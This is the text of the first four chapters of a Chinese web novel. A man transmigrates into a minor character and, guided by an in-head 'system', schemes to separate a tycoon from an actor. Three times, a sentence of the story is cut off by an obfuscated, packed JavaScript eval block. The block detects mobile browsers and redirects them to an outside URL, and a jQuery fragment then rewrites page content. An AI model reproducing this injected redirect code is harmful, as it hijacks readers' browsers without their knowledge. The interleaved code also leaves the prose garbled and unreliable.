《白月光助攻守则》 1. 第 1 章 秦越醒的时候,感觉有无数个小矮人在他脑袋上跳踢踏舞。 冰凉的水珠滚过鼻尖,他在头痛欲裂中缓缓睁开眼。 镜子里的男人脸色苍白,碎发湿漉漉地贴在额头,整个人显得阴郁而冷漠。 [编号1027号的员工您好,由于穿书过程中出现了些差错,数据未能完全输入,导致记忆偏差。您现在一定有许多问题,但目前并未发生致命bug,请放心。] 秦越阖了阖眼,他撑着洗手台站直了身体,环顾了一下周围。 他正处在一处盥洗室,身后淋浴外的玻璃隔断地映出了他高大模糊的身影。 ……挺不错的,还是干湿分离。 桌子上包装整整齐齐的是一些梳子、牙刷等用具,这些物品告诉他这里是家宾馆。 问题是,秦越他压根不记得自己为什么在这里。 [白月光助攻系统检测到您的疑惑。请问有什么问题需要解答呢?] 我是谁? 我在哪? 我在干什么? 经典的英语6w他一下问了三个。 [Where—— 您在一家宾馆。] [What—— 您正准备跟人上床。] [Who—— 您现在的职业是一位男公关。] 秦越听到第二个回答的时候,眉头已经微微跳了一下,听到最后一句话的时候,终于忍不住捏了捏鼻梁。 他头疼地刚推开盥洗室的门,就耳尖地听到一声很细弱的嘤咛。 闻声看去,床上的被子拱起奇奇怪怪的弧度,有人正在被子底下哼哼唧唧,拱来拱去的。 系统解释:[时间刚刚好,因为你是个边缘角色,所以您不可能跟白月光发生什么不和谐关系,小说里你接下来就会被赶到的男二手下抓住,下场凄惨。] 秦越已经听到两遍白月光这个词了,他还没来得及细问,床上的人已经难耐地想往外爬了,眼见马上就要看见白花花的一片,秦越不假思索地摁住对方拼命够向自己的手。 他微微仰起脖子,没什么犹豫地抽出自己的领带,干脆地把眼前这个不着寸缕的男人捆在床头。 这个人脸色潮红,不自然地在床上不停地摩擦着,看起来像是吃了什么助兴的东西。 秦越收回目光,发现离床头不远处还立着一个三脚架,上面一台相机正兢兢业业地工作着。 看来有人已经打算录下全程。 这可真刑。 这台相机必然已经拍到了他,秦越没有多考虑一秒就把相机里的内存卸了下来。 [1027号员工,请尽快离开。有人要找过来了。] 秦越看见一旁的桌子上还有一个钱包,他打开看了一眼发现里面是大概用来开房的证件。 身份证上的照片是他自己的,秦越拿起钱包及底下压着的口罩。 他随手将黑色口罩戴上后,推门走了出去。 秦越边走边有意地低头躲避走廊上的监控,他示意脑子里面刚刚说话的系统,尽快说明情况。 [1027号员工,您是白月光助攻团队的一员,我是您的助手系统。] [顾名思义,我们的任务就是助力白月光跟男主在一起,刚刚在宾馆里的那一位就是男主的白月光了。] 系统介绍道这是一篇狗血虐文。 男主叫贺亦寒,他属于是投了个绝世好胎的天龙人。 他父亲有个庞大的商业集团,不出意外的话,贺亦寒跟他同父异母的哥哥贺煜臣,在他父亲退居二线后,可以与其共掌这个金融帝国。 但一般这时候就该发生意外了。 事情坏就坏在,贺亦寒有一个白月光名为宋时景。 宋时景是一个风头正盛的新人演员,在一次商业宴会上,一眼被男主相中,两个人上演了一出你追我逃的虐心虐身戏码,最后宋时景为了逃离贺亦寒的掌控,攀上了男主的哥哥,也就是男二号贺煜臣。 于是就喜闻乐见的变成,兄弟俩争夺一个男人的狗血剧情。 最后白月光死遁归来,自己做自己的替身,继续上演套娃剧情。 目前情节已经进行到宋时景为了摆脱贺亦寒的纠缠,跟贺煜臣在一起了。 [我们的存在就是为了助攻白月光和男主在一起。] [您现在的身份是被别人叫来的炮灰,刚刚的戏份其实就是为了羞辱宋时景。] [不过,好在我们撤退的及时,什么都没发生。] 秦越看见剧情概括中,满屏幕的【虐心】【替身】【强制】【口口】,他觉得脑袋更痛了。 而且,这个男主像是得了躁郁症,得治。 但现在显然不是吐槽剧情的时候,秦越嘴角扬起一个冷淡的弧度,“什么都没有发生?” 他虽然尽力避开了监控摄像头,但是这两位护花使者必然都会找他麻烦。 书中贺煜臣比贺亦寒年长几岁,手段却比贺亦寒狠厉多了。 加之他少时出过车祸,虽然称不上不良于行,但腿终究是落下了隐疾,导致他出行不得不依靠一根手杖,掩饰自己腿脚不便的样子。 身体上的缺陷,更是造就了他偏执独权的性格。 若不是贺亦寒有主角光环,这个商业帝国可能会一直把控在贺煜臣手上。 按照原文里面贺煜臣睚眦必报的秉性,但凡秦越还能呼出一口气,对方掘地三尺都会把他找出来。 系统眼睁睁地看着秦越越来越沉默的神色,有些茫然。 秦越看了一眼手机上的时间,已经快到半夜了。 跑路是跑不掉了,他得先找个地方落脚。 秦越按系统给他的位置,回到原主住的地方。 原主做这行的原因简单粗暴,就是为了钱。他在一家名为双树酒吧的夜场做调酒师,方便物色形形色色各类的金主。 他同时也不愿亏待自己,花钱如流水,吃喝玩乐样样精通,目前长期住在市内酒店的一间套房里。 秦越头疼未消,脸色自然好看不到哪里去,他径自走到靠近房门的沙发前,解开领口的扣子,找了个舒服的姿势就近坐下。 他现在困得像熬了两个通宵。 在回来的路上,系统只是机械地通知了一些身体原主的事情。 原主之前也是有个正经职业的,他是一个网红,主要做模特、直播或者拍一些小网剧赚钱,靠直播带货赚得也不算少,结果某次直播的时候,不小心说漏嘴了宋时景跟贺亦寒有关系。 虽然在圈内大家众所周知,但是宋时景粉丝当然不乐意听到这些,惹得他唯粉直接抱团举报了他的直播间。 他最近知道了宋时景惹了贺亦寒,相当于是被金主抛弃了,而自己则是得到一个千载难逢的报复机会。 所以幕后主使喊他来做这个事情的时候,他没什么思考的就同意了。 [我把你的身体传输过来时,因为输入不稳定,这是导致你身体不适的原因之一。] 秦越慢半拍地反应过来系统说了什么,他还没来得及控诉系统这个罪魁祸首,对方就开始进行下个剧情节点播报了。 [本来因为遇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064472|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了这种事情,宋时景接下来会被贺亦寒言语羞辱一遍,然后彻底死心……] “等等。”秦越蹙眉问它,“你之前说这个时间点的宋时景,因为厌恶贺亦寒的折辱,已经跟贺煜臣在一起了。” 系统料想这位1027号员工,肯定没有看过古早狗血的渣攻贱受文,于是它耐心解释道:[但是这时候他并没有完全死心,不是从头到脚的死心,属于微死吧,死了40%。] [跟贺煜臣在一起是为了躲避男主的控制欲,因为男主再怎么跋扈,也不敢把手伸到他哥哥这里来。] [不过因为我们的插手,这段男二号解决炮灰,给白月光出气的桥段没有了,相应的感情增加节点就消失了。接下来,最重要的就是让贺煜臣和宋时景分手,尽快让宋时景跟男主复合在一起。] 秦越听完系统扯了一堆,他现在满脑袋问号。 明明这两个人在一起是互相折磨,为什么偏是要硬凑在一块。 系统看出了秦越的抵触。 它试图挽救一下白月光助攻部门的形象,[正是因为这种虐身虐心的剧情实在是糟粕,所以我们要将这个故事扭转去往甜文的方向!贺亦寒在小说里彻底心理变态,最大原因是宋时景成了他哥哥的情人。] [贺亦寒一直被贺煜臣压一头,导致他本来就对他哥颇为反感。现在他喜欢的人和贺煜臣在一起了,更是相当于给他重重一巴掌,让他颜面无存。所以你只要让宋时景跟贺煜臣分开,咱们这个助攻就算成功一大半了。] 秦越神情恹恹地挥了挥手,表示自己明白了。 昏聩的房间里,月光透过落地窗,不偏不倚地落在他骨节分明的手上。 秦越冷峻的容颜沉没在黑暗里,缓缓吐出一口气。 时针已经指向1的位置。 凌晨一点多了,山顶别墅里还亮如白昼,灯火通明。 贺煜臣虚虚靠在椅背上,手指划过几个监控视频片段。 监控里的男人身材高大,黑色的衬衫领口有些凌乱。 他带着一个黑色口罩,看不清长相。 宾馆走廊的监控像素不是那么清晰,但还是能清楚地看见对方走的并不像逃难般的紧张仓促。 他漫步一样进入了消防通道旁的电梯,完美的跟另一部电梯里急匆匆跑出来的保镖擦肩而过。 男人散漫地靠在电梯侧壁上。 他无意间瞥到了电梯里的摄像头,又迅速移开视线。 暴露在镜头下的深邃眼神,在那一瞬间,透过冰冷的屏幕与贺煜臣对视。 眼里是一片漠然,以及……不耐烦。 贺煜臣无意识的指尖紧绷。 此人没有一点大难临头的惊惶,看起来甚至可以说是有些无所谓。 贺煜臣将这段视频反复看了几遍。 他手底下一群人大气不敢出,只能胆战心惊地呆站着,看着贺煜臣没什么表情地审视着他们找到的监控视频。 个别几个人余光看到桌子上放着一个没有SD卡的相机,心里更是高喊完犊子。 “人呢?”贺煜臣放下手中的监控视频,抬眼看向站在最前面的保镖。 保镖心虚地不敢抬头:“宋先生已经送往医院了……” 这事情他们得负主要责任,在这么一群人的眼睛下,宋时景还能在晚宴后被一个陌生男人带走了。 保镖只是说了几个字,就已经开始额角冒冷汗了。 贺煜臣敲了敲桌子,指节一旁平板电脑上的视频,定格在监控里男人阴沉的眉眼上。 “我说的是这个人。” 2. 第 2 章 保镖清了清嗓子,掩饰自己的紧张,“这家小宾馆并不怎么正规,我们去查的时候,前台说他们录入时系统出问题了,当时还在找人来修,所以晚上入住的客人准备修好后再统一补录。” “而且监控只剩下这么一段,前面的都被剪掉了……” 看着脸色越看越差的贺煜臣,保镖将功补过地递上一张名片。 “但是那个家伙落了一件外套在房间里,口袋里面有张酒吧的卡片。” 贺煜臣心中默念过酒吧的名字。 他姑且认为视频里的男人是在对他挑衅。 桌边的手杖被轻轻拿起。 贺煜臣走了几步,来到落地窗前,山脚下的点点灯火映在他的瞳孔上。 保镖惊愕地盯着贺煜臣起身,“贺总,您这是要?” 说不清是因为很久没有人敢那么明目张胆地对自己发难,导致他心里有点不悦。 还是因为视频里那个男人太过不在意的神色,让凌晨忙得人仰马翻的他们像个笑话。 贺煜臣心里陡然的异样感觉,在隐隐作祟。 “带他来见我。现在。” 秦越要是知道贺煜臣是这么想他的,他一定会笑一下算了。 狗血,离谱。 系统所说的剧情让他觉得荒谬又没有逻辑。 故事里的每个人的行为都仿佛诉说着离开了爱情,自己就一无是处。 愚蠢,沉沦,却又无能为力。 他们都只是作者任性布置的棋子。 所以监控里的秦越表情看起来有些厌恶。 如果秦越身体允许,在离开宾馆的路上他必定用跑的,而不是慢条斯理地走路。 他又不是什么装逼犯,离开犯罪现场还要跟品鉴艺术一样慢悠悠的。 秦越感觉到一阵胃疼,猜测多半是原主近期都没有好好休息,饮食也不算规律。 穿越的叠加状态,倒霉得影响到了他。 秦越压着胃部,烦躁地咬了咬牙。 他拿出原主的手机,顺手查了一下宋时景的信息。 关联消息里,一个大写红色的“爆”字跃入了他的眼帘。 《某男星豪门梦碎,财阀果然无情。》 据相关人员爆料,昨日,某一线男星离开小贺总位于蝴蝶湾的度假山庄…… 相信大家都很好奇是怎么回事。大家可能会感到很惊讶,两人是怎么分手的?但事实就是这样,小编也感到非常惊讶。那么这就是关于男星分手的事情了,大家有没有觉得很震惊呢? 在一段想大呼转人工的车轱辘话后面,附了一张480p清晰度的视频截图,图片上低着头的男人拖着一个笨重的行李箱,头也不回地离开了别墅区。 报道下面评论9999+,议论火热,哪怕已经隔了一些时日了,按时间倒序查看,还是有不少热衷八卦的人参与进来。 热评第一是个路人的疑问,[我记得贺长天有两个儿子吧,这个小贺总是指的哪一个哇?而且你们怎么好像都知道这说的是谁?] 底下回复的倒是很热情。 [楼主从来不看财经杂志吧,小贺总只有一个,指代的是贺长天小儿子贺亦寒,目前还在读大学。至于他大儿子贺煜臣,早就单干了,说不定现在已经压他老子一头了,都是直称贺总的。] [xs,还有人不知道这个某~男~星是谁?] [楼上在阴阳怪气什么?我警告你不要造谣,已经举报了。] [这就急了,我有说是谁吗?都不用查主页成分,就知道你是谁粉丝了。] ……怪不得热评第一,这层楼光是回复就直接撕扯上了四位数。 秦越看着密密麻麻的字,逐渐变成了眼花缭乱的凌乱字体,思维也越来越沉重混乱。 不知道过了多久,房间的灯被人啪的一声打开。 沙发上浅眠的男人似乎被突如其来的灯光刺了一下眼睛,眉眼微微下沉。 他望向来人的眼神不悦而锋利,看起来像是警告外人不要侵扰它领地的狮子。 可惜这种极具侵略性的长相,在这种行业,注定不会讨多数人的喜欢。 贺煜臣的助理莫名其妙涌出了这个想法。 很快这种念头被压了下去,他一左一右还跟着两保镖,一齐大步地走了过去。 天生臭脸的秦越不知道自己在助理心中的形象,已经变成了一个形象失败的男公关。 他第一反应是自己居然真的睡着了。 秦越懊恼地揉了揉自己额角,他也没想到对方那么快就找上了门。 现在唯一的好消息,是他终于把那股反胃的感觉压下去了。 这极大地避免了他当着别人的面,吐得一地狼藉。 “秦先生,有人想见你。” 助理没有在秦越脸上看到惊慌失措的神态,他甚至觉得秦越……懒得起身。 “请吧。”助理僵硬地伸手朝门口示意了一下,眼底全是别让大家难堪的神色。 秦越慢悠悠地站起来:“我不认识路,你走前面。” 助理狐疑地瞅着他。 秦越看出了助理在想什么,笑了一声,“我又不会跑。再说,那么多人看着呢。” 一辆VS980停在酒店前的路面停车场。 助理拉开了车门,先一步弯腰坐了进去。车厢其实很大,就是所有人都沉默不语,导致这里像极了棺材。 助理忍不住又瞅了一眼秦越,发现他完全没有跟自己讲话的意思。 正常人现在不应该拐弯抹角地试图从他嘴里挖出点信息吗! 不会不是胆子大,而是脑子有问题吧? 商务车在凌晨的街道上疾驰,离自己的终点越来越近。 — 精致的玫瑰木手杖不远不近地停在秦越的眼前。 在秦越来的路上,贺煜臣已经从酒吧老板口中,知道秦越大概是个什么样的人。 只不过老板口中贪慕虚荣、很会讨好客人的秦越,貌似跟眼前这个人对不太上。 贺煜臣在打量秦越的同时,秦越也在观察他。 秦越懒洋洋地抬起眼皮,对上贺煜臣居高临下的视线。 面前的男人,即使是在大半夜依旧西装革履,肩部线条棱角分明,戗驳领整齐顺平,严丝合缝的双排扣,显露出流畅的腰线。 他表情严肃,不苟言笑。墨色的眉目没有一丝波澜,年纪轻轻的,却俨然一副刻板印象里财阀家主的模样。 总的来说,跟小说里长着恋爱脑的霸总,相去甚远。 不过,这个时间点没有守在情人的病床边,却来找自己麻烦。 这么看来,贺煜臣貌似对宋时景并没有太多特别的感情,目前感觉更像是因为自己东西被别人动了,产生了一些的不满和怒意。 秦越粗略地对贺煜臣的心态做了个判断。 贺煜臣也不想废什么话,他直截了当问道:“内存卡在哪?” 秦越斟酌了一下,开口道:“贺总,这不是做生意的态度吧。” 贺煜臣没冲上来就给自己一顿下马威,看来是已经知道自己并没有动手。 秦越往好方向想,毕竟他确实没对宋时景做什么伤天害理的事情。 对方看起来脾气很差,但也不是不讲道理的人。 贺煜臣丝毫不意外秦越认识自己,“你想要什么?” 明明受害者还躺在医院没有醒过来,这个男人却没有丝毫征求对方想法的意思,而是私自处理这件事。 太独权,也太傲慢。 但这是贺煜臣他们三个男人的一台戏,自己一个路人炮灰没必要对他评头论足。 所以秦越只是简明扼要地说:“我需要一笔钱。” 这点非常符合他的人设。 秦越简直要为自己临场应变的能力点一个赞。 系统看着秦越虽然说的台词像模像样的,但明显没有那种被抓包的紧张,赶紧提示:[请遵守您的人物设定,不要做出不符合人设的行为举动。] 秦越停顿了一下,觉得他这个身份坐着,却让对面这个正主站着好像是有点不像话。 虽然他疲惫得不行,压根不想动一根手指,但介于系统说的话,秦越还是不耐地将脱离发胶掌控的刘海捋了上去,随后慢吞吞地站了起来。 只不过秦越比贺煜臣高了半个头,导致他们两个人气场微妙地对调。 现在,变成了他俯视着贺煜臣。 气氛稍显诡异,门口的助理要迈不迈的步伐卡在了一半,直到传来贺煜臣低沉的声音,“支票拿来。” 助理这才快步走了进来,拘谨地递给贺煜臣支票簿和一支笔。 秦越目的根本不是要钱,按照系统的要求,他最终是得让贺煜臣跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064473|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋时景分开,所以他只是象征性地报出一个数字。 贺煜臣闻言瞥向他,露出一个不知是疑惑还是嘲弄的表情,“就这些?我还以为你会要的更多。” 秦越扫了一眼贺煜臣,指向他的手腕,“那再加上这个腕表吧。” 贺煜臣戴的是百达翡丽5167A,算是入门款,相较于贺煜臣其他的手表,这并不算贵。 更何况这是一款钢壳运动表,跟贺煜臣整体气质并不匹配。 但它之所以被主人好好佩戴上,明晃晃得像是要给所有人展示。 因为这是宋时景送给贺煜臣的礼物。 秦越这么说,也是想试探一下对方的底线,他想知道宋时景在贺煜臣心里面的地位。 贺煜臣不轻不重地说:“这个不行。换一个别的。” 秦越暗地里啧了一声,宋时景好像比他想的位置要重要一些。 这不是什么好消息。 贺煜臣签好名字,把支票放在一旁的桌子上,将签字笔轻轻地压在上面,“那么现在你可以告诉我,是谁指使你做的么?” 贺煜臣自然是知道秦越没这个能力做这件事情。 他没什么兴趣跟这种小鱼小虾纠缠,今晚他能耐下性子亲自过来,属实是有些鬼使神差的。 “贺总,这已经是第二个问题。”秦越扬了扬眉,“所以得是另外的价钱了。” 贺煜臣也没有生气,语气平淡地陈述道:“你倒是胆子大,还想谈条件。” 秦越抬了一下嘴角:“最近的确是比较窘迫。” 平心而论,秦越确实有一副出众的外貌,眉峰高耸,眼窝深邃,骨相凌厉立体。 似笑非笑的微笑唇,又完美地中和了他这种生人勿近的长相。 秦越刚刚说的话若是换旁人来说,在贺煜臣耳朵里,听起来就有些威胁的意思了。 但秦越偏偏是笑着说的,带着一种若有若无的安抚和亲昵。 贺煜臣的助理在旁边,手指都要捏碎了。 特么的,本来大半夜被喊出来加班就烦。 看见两个商讨事情的人齐齐陷入沉默,他还不能开口催促进度,更烦! ……真是想跟这群有钱人拼了。 打工人果然体检会更容易查出来结节。 过了一会,贺煜臣嗤笑道:“秦先生还想要什么。跑车?房产?还是说……贺氏集团的股份?” 他说到最后一句话的时候,语气温度骤然下降,明显已经是带着威胁和警告了。 秦越侧了侧头,饶有兴趣地欣赏对方变得生动的表情。 贺煜臣这人生起气来的时候,眉宇间压着一点起伏,看起来才会有股活人味。 之前就像是个设定好程序的机器人,只会按部就班地念着台词。 太无聊了,让人索然无味。 “这些我都不要。”秦越猛地俯下身。 温润的呼吸一下就拂到贺煜臣脸上。 有点……过于近了。 贺煜臣皱了皱眉,条件反射就要往后退,想保持足够的社交距离。 越心急,就越容易出事。玫瑰木手杖要命地在房间地毯接缝处卡了一下。 秦越眼疾手快扶住贺煜臣的小臂,帮忙稳住了他的身形。 “贺总那么紧张做什么。”秦越短暂地笑了一下,“我不是说了,这些我都不要。” 笑容不算恶劣,但难免带了点促狭。 系统大喇叭都要按炸了,隐藏的悬浮面板突突地跳着红光,警报声叫得也很起劲。 [请1027号员工注意,禁止做出任何不符合您身份的事情!] 本来他俩就是这个小世界的异物,崩人设很容易被当成BUG挤出去的好不好。 助理:……………… 助理:?! 简直没眼看。他是不是加班加出幻觉了,为什么他好像看见有人在调戏他的老板!! 秦越双手微微抬起,表示自己没有恶意,“既然你能找到我,想必也是调查清楚我是什么人了。” 贺煜臣撩了一眼自己刚刚被碰到的地方,“百闻不如一见。” 秦越忽略了贺煜臣的语气,突然他话锋一转,声线还带着像是刚睡醒不久的沙哑,“你要不要……” 低沉的声音像一键琴音敲落在贺煜臣的心上。 “……试试我。” 3. 第 3 章 助理在死命地按着自己的人中,努力假装自己不存在。 他算是明白这个秦越想干什么了。 这人得寸进尺,是想要一张长期饭票啊,直接自荐枕席了! 一阵沉默后,贺煜臣重复了一遍秦越的话,“试试你?” 他表情有点茫然,似乎理解了很久秦越这几个字,随即他眉头一皱,干脆地拒绝:“不行。” 秦越遗憾地叹了口气,幽幽地说:“这也不行,那也不行。跟贺总做生意好难啊。” 系统被秦越这种诡异中带着点情人间埋怨的语气,吓得激起一层不存在的鸡皮疙瘩。 [您在干什么?千万不要瞎发挥。] 秦越没有理它。 但是警报果然不响了。 如秦越所想,原主这种擅长在不同金主之间游走的人,适时打情骂俏算不上崩人设。 贺煜臣捕捉到秦越半垂的眼里,一抹瞬间消失的碎光,几缕刘海耷拉在他额头前,为他平添了几分委屈。 明明是那种张扬还有点凶的长相,扮演无辜的时候,又变成了一只矜贵的猫。 他再一次鬼使神差地对助理说道:“明天拟一份保密协议给秦先生。” 说罢贺煜臣貌似懊恼地拧了一下眉,他收回审视秦越的目光,头也不回地走了。 等到手杖触及走廊大理石地板的声音听不见之后,助理掏出手机加上了秦越的联系方式,他想了想补充道:“秦先生,你记得尽快发一份体检报告给我。” 秦越点头:“还有什么别的需要注意的么?” 助理挠了挠头,他本来想说一大堆,譬如不要觊觎一些不属于你的东西,不要顶着贺煜臣的名义在外面为非作歹。 最后他盯着面前这副见之难忘的皮囊,说不出什么太重的话。千言万语只简化成一句劝告:“不要争风吃醋,贺总不喜欢别人闹事。” 被助理客气地送出别墅后,系统小小地崩溃了一下:[您在干什么?] 秦越告别了这场混乱,困意也被搅和得所剩无几。 他回到宾馆,慢悠悠往浴缸里放水,试完水温后,漫不经心地开始解衬衫的扣子。 黑色的衬衫被主人随手扔在了沙发上,任由空气带走了最后残留的体温。 秦越活动了一下肩颈,心情不错地泡在浴缸里。 看到已经沉默静音的系统,他直言:“我在按你的要求工作。” 系统:[……] 这能对吗? 它如鲠在喉,但又不得不承认秦越好像确实在认真工作。 就是危险度会不会高了一点。 毕竟男二在小说里,在作者的渲染之下,表现的形象是除了对待白月光以外,为人处世杀伐果断。 但……秦越好像确实在拆CP。 系统不确定地问道:[您确定男二会爱上你么?] 它详细地看过秦越这个身份的背景。 可以说是原主就是个烂人,实打实一个爱情骗子。 把个人优势发挥的淋漓尽致,让一群人心甘情愿为他花钱,还能全身而退。 氤氲的水雾遮住了秦越神情,他不以为然地说道:“我只需要确保贺煜臣不会喜欢上宋时景。至于他会爱上除了宋时景以外的谁……那并不重要。” [所以,您是想当男二和白月光感情间的绊脚石。]系统恍然大悟。 亏它还以为秦越想玩一出烂人真心的剧本。 秦越看出了系统的想法,他没有解释别的。 实际上,他倒是更想让贺煜臣知道烂人就是烂人,然后吃点爱情的苦,尽快把恋爱脑洗一洗。 昨晚贺煜臣不苟言笑、稍显严肃古板的面容,飘在一圈水蒸气上,晃晃悠悠地浮现在秦越眼前。 秦越莫名觉得对方应该更适合在商海沉浮,而不是溺死在一个荒唐的爱情漩涡里。 系统非人的脑袋瓜子转了一圈之后,再对比一下原主的人设背景,似乎只有这个方法,可以名正言顺地接近任务目标,便默许了秦越的做法。 虽然原主大概率不会如此胆大地行事,但是万一他突然脑子一抽就干了呢。 [就是有个小问题。] 系统让自己语气不要那么心虚。 [您跟贺煜臣做的交易,是要告诉他幕后主使是谁。但是……小说里面没说到底是谁啊。] 这也不能完全怪系统,因为当时作者写这一章节只为了狗血,压根没想过逻辑。 剧情里原主这个炮灰直接当场被逮,一顿教训之后就被送进了拘留所。 后续就是作者完全忘记填这个坑了。本来就是虐白月光的桥段,在收获一片读者的怒骂,以及心疼角色的小作文后,作者心安理得地放弃这个伏笔。 秦越额头青筋跳了一下:“你刚才怎么不说。” 因为你下一句台词直接把我CPU干烧了。系统决定装傻,主动闭嘴关麦。 秦越冷着脸地抽出一旁的浴巾,随意在腰间拢了一下。 笔直有力的腿迈出浴室,水珠瞬间划过紧实的鲨鱼肌,泅湿了浴巾的边缘,“播报下一个剧情节点。” 系统叫出悬浮面板,[大约是一周之后,贺煜臣和宋时景会一齐参加慈善晚会。] 现在按小说的描写,他们还没发展出什么感情。 因为不久之前,贺亦寒才做出威胁举措,扬言要雪藏宋时景,让他再也接不到戏。 宋时景没有办法,走投无路之下,只好求助据说跟贺亦寒关系很差的贺煜臣。 在贺煜臣的默许下,两个人签了一份协议。 贺煜臣帮宋时景处理一些男主下的绊子,而宋时景给予贺煜臣的回报,在贺煜臣眼里只能说是聊胜于无。 按小说中的描写,他其实更想看到贺亦寒因为愤怒而失去理智的样子。 简单来讲,贺煜臣他们现在只是合作关系。 [晚会的高潮是一场拍卖会,贺煜臣和他弟弟,同时会竞拍一位著名影星留下的戏服,不是很贵重,但是对于宋时景这个演员来说,具有特殊意义。] [贺亦寒这时候还在上大学,论财力和影响力,肯定比不上已经当上贺氏集团董事和执行总裁的贺煜臣。] [两个人明里暗里的角逐竞价,也被其他人看在眼里。男二和白月光的感情,会借助拍卖会的剧情,开始急剧上升。] [在这场拍卖会之后,周围人也就都猜出来了,宋时景跟贺煜臣的关系。所以1027号员工,您需要阻止贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064474|163051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煜臣为宋时景拍下这件戏服。这是他们感情的转折点。] ? 这些人好感来得也挺莫名其妙的。 秦越想了想,这个最终成交的价格对贺煜臣来说,很是轻描淡写。 他实在想不到什么合适的理由,去阻止对方花个小钱,来讨美人的欢心。 不过如果换个角度,他只要让宋时景没法参加这个拍卖会,是不是也可以。 系统小心翼翼地观察着秦越的表情,看见他逐渐下垂的嘴角,洞察到秦越危险的想法。 它连忙出声阻止:[对角色采取暴力非法举动的行为,本部门不建议不倡导。] 手机屏幕息了又亮,通知消息在不停地闪烁着,秦越微微抬了下眉,锁屏上弹出的信息上,那一连串密密麻麻的字,无不昭示发信人的焦急。 “看来,有时也没必要心急。”秦越轻轻笑了一声,打开了聊天框。 聊天对象在疯狂地问他到底事情办好了没有,是不是他把内存卡拿走的。 以及—— 【要是不交出来,你知道自己的下场。况且那些钱你能还的上吗!自己好好考虑考虑。】 原主赚得多,花的也潇洒,基本算得上没什么余款。几个月前他沉迷赌钱,借了一些高利贷,最后输得一干二净。 这段时间利滚利,大概有个一百万了。 秦越心道刚刚应该问贺煜臣多要点钱。 他翻了翻聊天记录,正是这个人喊原主晚上去宾馆的。 此人也谨慎得很,没有留下什么身份信息。 对方只是知道内存卡被他拿走了,但是还不清楚他什么都没做。 秦越晾了对面一会,试探性地发了一条回去:“留个地址。” 聊天昵称下面显示正在输入中。 等了半天,对方才犹犹豫豫地发来一句:“我还以为你被贺煜臣弄死了。” 过了一会他又问道:“贺煜臣看起来生气吗?” ——这个人知道贺煜臣来找他了。 说明这个幕后主使不仅认识贺煜臣,还清楚他的动向。 不过这句话说得太微妙了,导致秦越不得不停顿几秒,思索对面为什么那么问。 介于贺煜臣刚才的脾气,可以说很克制了。 所以秦越回了一个模棱两可的答案。 “不算。” 对面沉默了一会,没头没尾地发来信息:“果然,宋时景也没有什么特殊的。” 然后就再也没了动静。 秦越突然明白了,对方根本不是冲着贺煜臣来的,他一开始的目标就只是宋时景。 或者说对方目的跟他一样,都是想让宋时景离开贺煜臣。 一个熟识贺煜臣,且对宋时景有敌意的人。 秦越将手机撂到一边,吩咐系统:“调取贺煜臣人际关系。” 贺煜臣这样的商界权贵,社会关系自然是复杂得很。 秦越撑着下颌,很有耐心地翻阅着系统提供给他的资料。 他一目十行,视线最终定格在一个名字上。 谭子濯。 职业是编剧,算半个娱乐圈的人。 还有一层更为特殊的身份,他是贺煜臣曾经的未婚夫。 4. 第 4 章 说是未婚夫,实际上两个人的婚约是两家长辈定下的,然而成年之后,贺煜臣和谭子濯互相都没有提起这件事,双方默契地就将这个娃娃亲作废了。 系统:[1027您是怀疑他么?] 秦越似乎在思考着什么,过了一会他才开口:“谭子濯会参加那个慈善晚会么?” 系统给了一个肯定的回答。 随即它有点紧张地问:[您是要直接在慈善晚会上,试探他么?] 秦越抬了抬手,将悬浮的屏幕挥去,不置可否地说:“他倒也是个不错的工具人。” 酒店窗外的天空黑沉沉,偶尔有几个不起眼的星星闪烁。 系统听着秦越低沉平缓的呼吸声,也进入了休眠转态。 快到中午的时候,酒店的房门被敲响了。 来的不仅有晚上秦越见过的那个助理,他身后还跟着一个年级大约在六十岁左右的人。 “秦先生,这位是我们集团法务部总监。”助理客客气气地让出道,让身后的人先走了过来。 法务总监是贺煜臣生母的表弟,早上听到助理说要紧急拟一份保密协议时,他也没当回事。 因为之前他刚给贺煜臣拟了一份和宋时景的保密协议。 结果助理很坚定地说这份需要认真写,因为此次协议对象,可能会跟贺总近距离接触很久。 总监问这个近距离是多近。 助理望天,顾左右而言他一会后,说道:也可能是负数。 总监:…… 他当时就觉得自己要心梗了。 虽然贺煜臣已经快三十岁了,且在商界一直有着赫赫威名,但在看着贺煜臣长大的老一辈眼里,他貌似对感情方面的事情一直不太热衷,而秦越这种人一看就是情场老手。 这不妥妥坏事了。 法务总监痛心疾首,仿佛看到自家乖乖仔被精神小伙骗了感情。 果不其然,在助理敲门不久之后,套房的门一打开,总监就看见一个男人好整以暇地望着他们。 